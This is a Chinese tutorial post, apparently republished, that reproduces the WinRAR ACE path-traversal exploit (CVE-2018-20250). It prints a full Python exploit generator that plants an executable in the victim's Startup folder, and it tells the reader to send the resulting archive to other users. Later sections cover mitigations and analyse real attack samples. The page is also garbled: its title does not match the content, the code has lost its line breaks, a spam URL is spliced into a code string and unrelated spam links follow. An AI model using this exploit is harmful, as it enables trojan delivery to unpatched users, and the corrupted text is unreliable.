三十六,2019传奇漏洞获取gm权限
一.WinRAR漏洞复现
1.复现
WinRAR漏洞(CVE-2018-20250)是Check Point团队于2019年2月爆出的严重安全漏洞,该漏洞已存在于WinRAR中19年,由于WinRAR使用了一个陈旧的UNACEV2.DLL动态链接库造成的 。当我们解压任意ACE文件时,由于没有对文件名进行充分过滤,导致其可实现目录穿越,将恶意软件写入操作系统启动Startup文件夹,并且电脑重启时会自动运行该程序,从而造成恶意软件劫持 。通过该漏洞可以获得受害者计算机的控制 。安全专家表示全球有超过5亿用户受到WinRAR漏洞影响 。

文章插图
下面我们先来复现该漏洞 。该漏洞会对多种压缩软件造成影响,版本如下:
WinRAR < 5.70 Beta 1Bandizip < = 6.2.0.0好压(2345压缩) < = 5.9.8.10907360压缩 < = 4.0.0.1170第一步,安装WinRAR 5.6.1的版本,后续5.7升级弥补了该漏洞 。作者的电脑是Win10操作系统 。

文章插图
安装之后可以看到本地存在的UNACEV2.DLL动态链接库,它就是被利用的入口 。

文章插图
第二步,从github中下载漏洞利用程序,如下图所示 。
hello.txt和world.txt是需要压缩的文件
calc.exe是计算器,可以替换成恶意软件,它会被定向植入系统启动目录
exp.py是运行的Python代码,它会将hello.txt和world.txt压缩,并隐藏恶意软件
acefile.py是利用UNACEV2.DLL漏洞的代码,共4000多行
下载地址:https://github.com/backlion/CVE-2018-20250

文章插图
我们尝试打开exp.py文件,代码如下,其中恶意软件为“calc.exe”、压缩包名称为“test.rar”、需要压缩的文件为“hello.txt”和“world.txt”、隐藏的路径为Windows系统开机启动的目录,并命名为“hi.exe” 。读者也可以尝试修改名称,自定义需要压缩的文件及恶意软件 。
#!/usr/bin/env python3import osimport reimport zlibimport binascii# The archive filename you wantrar_filename = "test.rar"# The evil file you want to runevil_filename = "calc.exe"# The decompression path you want, such shown belowtarget_filename = r"C:C:C:../AppDataRoamingMicrosoftWindowsStart MenuProgramsStartuphi.exe"# Other files to be displayed when the victim opens the winrar# filename_list=[]filename_list = ["hello.txt", "world.txt"]class AceCRC32:def __init__(self, buf=b''):self.__state = 0if len(buf) > 0:self += bufdef __iadd__(self, buf):self.__state = zlib.crc32(buf, self.__state)return selfdef __eq__(self, other):return self.sum == otherdef __format__(self, format_spec):return self.sum.__format__(format_spec)def __str__(self):return "0x%08x" % self.sum@propertydef sum(self):return self.__state ^ 0xFFFFFFFFdef ace_crc32(buf):return AceCRC32(buf).sumdef get_ace_crc32(filename):with open(filename, 'rb') as f:return ace_crc32(f.read())def get_right_hdr_crc(filename):# This command may be different, it depends on the your Python3 environment.p = os.popen('py -3 acefile.py --headers %s'%(filename))res = p.read()pattern = re.compile('right_hdr_crc : 0x(.*?) | struct')result = pattern.findall(res)right_hdr_crc = result[0].upper()return hex2raw4(right_hdr_crc)def modify_hdr_crc(shellcode, filename):hdr_crc_raw = get_right_hdr_crc(filename)shellcode_new = shellcode.replace("6789", hdr_crc_raw)return shellcode_newdef hex2raw4(hex_value):while len(hex_value) < 4:hex_value = https://www.hedan60.com/baike2/'0' + hex_valuereturn hex_value[2:] + hex_value[:2]def hex2raw8(hex_value):while len(hex_value) < 8:hex_value = '0' + hex_valuereturn hex_value[6:] + hex_value[4:6] + hex_value[2:4] + hex_value[:2]def get_file_content(filename):with open(filename, 'rb') as f:return str(binascii.hexlify(f.read()))[2:-1] # [2:-1] to remote b'...'def make_shellcode(filename, target_filename):if target_filename == "":target_filename = filenamehdr_crc_raw = "6789"hdr_size_raw = hex2raw4(str(hex(len(target_filename)+31))[2:])packsize_raw = hex2raw8(str(hex(os.path.getsize(filename)))[2:])origsize_raw = packsize_rawcrc32_raw = hex2raw8(str(hex(get_ace_crc32(filename)))[2:])filename_len_raw = hex2raw4(str(hex(len(target_filename)))[2:])filename_raw = "".join("{:x}".format(ord(c)) for c in target_filename)content_raw = get_file_content(filename)shellcode = hdr_crc_raw + hdr_size_raw + "010180" + packsize_raw+ origsize_raw + "63B0554E20000000" + crc32_raw + "00030A005445"+ filename_len_raw + filename_raw + "01020304050607080910A1A2A3A4A5A6A7A8A9"return shellcodedef build_file(shellcode, filename):with open(filename, "wb") as f:f.write(binascii.a2b_hex(shellcode.upper()))def build_file_add(shellcode, filename):with open(filename, "ab+") as f:f.write(binascii.a2b_hex(shellcode.upper()))def build_file_once(filename, target_filename=""):shellcode = make_shellcode(filename, target_filename)build_file_add(shellcode, rar_filename)shellcode_new = modify_hdr_crc(shellcode, rar_filename)content_raw = get_file_content(rar_filename).upper()build_file(content_raw.replace(shellcode.upper(),shellcode_new.upper()).replace("01020304050607080910A1A2A3A4A5A6A7A8A9",get_file_content(filename)), rar_filename)if __name__ == '__main__':print("[*] Start to generate the archive file %s..."%(rar_filename))shellcode_head = "6B2831000000902A2A4143452A2A141402001018564E974FF6AA00000000162A554E524547495354455245442056455253494F4E2A"build_file(shellcode_head, rar_filename)for i in range(len(filename_list)):build_file_once(filename_list[i])build_file_once(evil_filename, target_filename)print("[+] Evil archive file %s generated successfully !"%(rar_filename))第三步,打开Python运行exp.py代码,将自动生成test.rar压缩包 。注意,如果未安装Python或相关包,需要进行安装 。同时不能双击exp.py,需要Python来运行代码 。

文章插图
第四步,此时在当前文件夹生成了test.rar文件,将该压缩包发送给其他用户,如果目标电脑存在WinRAR漏洞,则会造成影响 。

文章插图
注意:QQ和Win10防火墙已经能识别出该CVE漏洞号,如下图所示 。

文章插图
第五步,当目标用户在桌面解压该文件夹,则会在电脑启动目录放入我们的木马文件,命名为“hi.exe” 。

文章插图
Win10路径:
C:UsersyxzAppDataRoamingMicrosoftWindowsStart MenuProgramsStartup

文章插图
这里演示的是计算器,而如果植入恶意软件,则每次目标开机运行就会自启动该恶意代码 。

文章插图
注意:当目标用户解压我们文件时,其解压目录必须是 C:/users/当前用户/目录下,也就是必须是在下面这些目录中解压的该文件 。压缩包中隐藏了深层次的路径,xp系统自启动路径可能不同 。

文章插图
2.原理及预防
那么,该漏洞的基本原理是什么呢?
由于该漏洞会对多种压缩软件造成影响,并且该漏洞主要是由于WinRAR解压ACE压缩包采用的动态链接库UNACEV2.dll造成的 。其原理是:UNACEV2.dll在处理filename时只校验了CRC,黑客可以通过更改压缩包的CRC校验码来修改解压时的filename并触发这个Path Traversal漏洞 。
但是WinRAR本身检测了filename,有一些限制并且普通用户解压RAR文件时不能将我们恶意的Payload解压到需要System权限的文件夹 。当用户将文件下载到默认的C:UsersAdministratorDownloads目录下时,通过构造目录:
C:C:C:../AppDataRoamingMicrosoftWindowsStartMenuProgramsStartuphi.exe该目录经过WinRAR的CleanPath函数处理会变成:C:../AppDataRoamingMicrosoftWindowsStartMenuProgramsStartuphi.exe其中C:会被转换成当前路径,如果用WinRAR打开,那么当前路径就是C:Program FilesWinRAR,要是在文件夹中右键解压到xxx,那么当前路径就是压缩包所在的路径 。当用户在文件夹中直接右键解压到xxx时,我们恶意的payload解压地址就会变成:C:UsersAdministratorDownloads../AppDataRoamingMicrosoftWindowsStartMenuProgramsStartuphi.exe这就是当前用户的启动项,从而这样完成了从一个Path Traversal到任意命令执行的过程 。在WinRAR内一直点击进入目录可看到hi.exe的具体信息,如下图所示,可以看到其是ACE压缩文件 。

文章插图
当受害者通过WinRAR直接解压该文件便会触发该漏洞,从而释放内置的恶意程序(hi.exe)到用户windows系统的启动目录内,使得下次重启系统的时候该恶意程序能自动启动运行 。
Win10开机自启动如下图所示:

文章插图
Win7开机自启动如下图所示:

文章插图
那么,又如何预防该漏洞呢?
当该漏洞爆出之后,很多厂商都升级了压缩软件的版本,不再支持ACE存档格式,比如WinRAR 5.70 Beta 1,并且删除了UNACEV2.dll动态链接库 。据Check Point研究人员所述,WinRAR的UNACEV2.dll代码库自2005年以来就一直没有被主动使用过 。安全建议如下:
UNACEV2.dll漏洞不仅限于WinRAR,包括WinRAR在内的多款压缩解压缩工具均存在风险,建议用户将这些软件全部升级到最新版本,推荐使用安全电脑管家的软件管理来完成 。
直接删除WinRAR安装目录下的UNACEV2.DLL文件,但会造成ACE格式的压缩文件无法使用(不过影响很小,拥有ACE格式专利的商业公司已倒闭十多年了,你完全可以抛弃ACE压缩格式) 。
切勿随意轻信、打开来历、用途不明的文件 。同时也别担心,QQ传输、Win10自带防火墙都能识别出该漏洞 。

文章插图
二.恶意软件劫持原理
下面作者参考FreeBuf网站腾讯电脑管家的文章,讲述该恶意软件劫持的原理 。
强推:WinRAR(CVE-2018-20250)漏洞利用再升级 减少重启系统的依赖 - freebuf腾讯电脑管家
WinRAR漏洞的利用流程图如下所示,恶意ACE文件被受害者解压之后,会释放恶意木马至指定目录(系统自启动文件夹),受害者重启电脑会执行恶意木马 。

文章插图
该漏洞被深入利用的案例如下:
WinRAR高危漏洞被用来传播Lime-RAT远程控制木马
WinRAR(ace格式解压)漏洞备受青睐攻击样本层出不穷
攻击手段升级之后的原理如下图所示:
WinRAR恶意攻击升级案例1
WinRAR漏洞利用结合恶意lnk躲避杀毒软件查杀,同时增加恶意木马执行的概率 。

文章插图
样本文件名为“mirotvorec.rar”,打开压缩包如下图所示:

文章插图
解压mirotvorec.rar后,发现该压缩包同时还释放了两个lnk文件和一个exe文件 。
文件1:用户配置目录
%userprofile%win.exe
文件2:开始菜单启动目录
c:AppDataRoamingMicrosoftWindowsStartMenuProgramsStartupGoggle Chrome.lnk
文件3:桌面快捷方式
c:desktopGoggleChrome.lnk
对应的二进制如下图所示:

文章插图
文件1为最终要执行的恶意木马,被释放到了%userprofile%(用户目录)下;文件2和文件3内容完全相同,均伪装为Chrome浏览器的快捷启动方式(为区分攻击者拼写错误,把Google写成了Goggle),但该lnk实际上指向的启动文件为%userprofile%win.exe,即文件1 。

文章插图
注意,如果在用户目录直接执行win.exe,还需要输入正确的密码,才会继续执行 。密码是上图快捷方式win.exe的执行参数 。如果双击goggle chrome.lnk,密码参数会自动执行,不会出现下图提交密码的对话框 。

文章插图
本次攻击与以往利用WinRAR漏洞的攻击方式存在以下差别:
为了躲避杀软查杀,最终执行的恶意木马没有释放到系统自启动目录,而是释放到用户目录下 。同时,为了确保恶意木马能够在重启后顺利执行,将伪装为Chrome浏览器快捷启动方式的恶意lnk释放到了系统自启动目录,该lnk实际上为恶意木马的快捷启动方式 。
为了提高恶意木马被执行的概率,同时弥补WinRAR漏洞利用需要重启的缺陷,攻击者还将恶意lnk释放到了桌面,诱导受害者手动点击运行 。
为了躲避杀毒软件查杀,恶意木马需要输入正确的密码方可执行(这就避免了杀毒厂商的自动分析工具发现异常) 。
用户重启系统或者双击运行恶意lnk,均可执行恶意木马 。
WinRAR恶意攻击升级案例2
恶意bat文件(__Denuncia_Activa_CL.PDF.bat )下载并解压ACE文件,同时强制系统重启,确保恶意木马执行 。攻击样本及具体分析如下 。

文章插图
notepad++打开bat文件,文本内容为乱码,发现右下脚提示该文件使用了UCS-2 Little-endian编码 。

文章插图
重新使用16进制编辑器打开bat文件,即可看到真实的文件内容 。执行bat文件,首先生成一个随机数,用于重命名即将下载的恶意rar文件 。

文章插图
设置下载目录、文件名等,并启用powershell命令从硬编码的url下载恶意rar文件 。

文章插图
使用WinRAR解压,将恶意木马释放到系统启动项目录,执行“shutdown -r”命令强制重启系统,确保恶意木马能在第一时间启动 。

文章插图
三.总结
【三十六,2019传奇漏洞获取gm权限】写到这里,这篇基础性文章就此结束,最后希望这篇基础性文章对您有所帮助 。突然发现,作者已经写了400多篇文章了,非常值得纪念,今后也希望帮到更多的读者 。也觉得自己的技术好浅,要学的知识好多,读博真心不容易,之前很少遇到睡不着觉,这学期很多次惊醒,希望自己这四年能不断成长,身体和心理都健康!一定要好好的,有时候只是看着开心阳光,其背后的苦和痛都要去炼化,祝福所有博士战友们和 。共勉~
- 2019年12月新番列表(201912月新番动漫)
- 2019年七夕节是哪一天(七夕节活动)
- 口碑最好的谍战剧15部(2019电视剧豆瓣排行榜)
- 何炅结婚了吗(明星2019结婚)
- 2019七月新番(国家发老婆)
- 罗伯特法则(罗伯特沃波尔)
- 结婚5年是什么婚(结婚17年是什么婚)
- 虽然我不曾怀疑你歌词(你虽然怀疑我)
- 传奇教父从渣男开始卡(如何对付渣男)
- 高达最新动画作品2019(2020年的动漫有哪些)
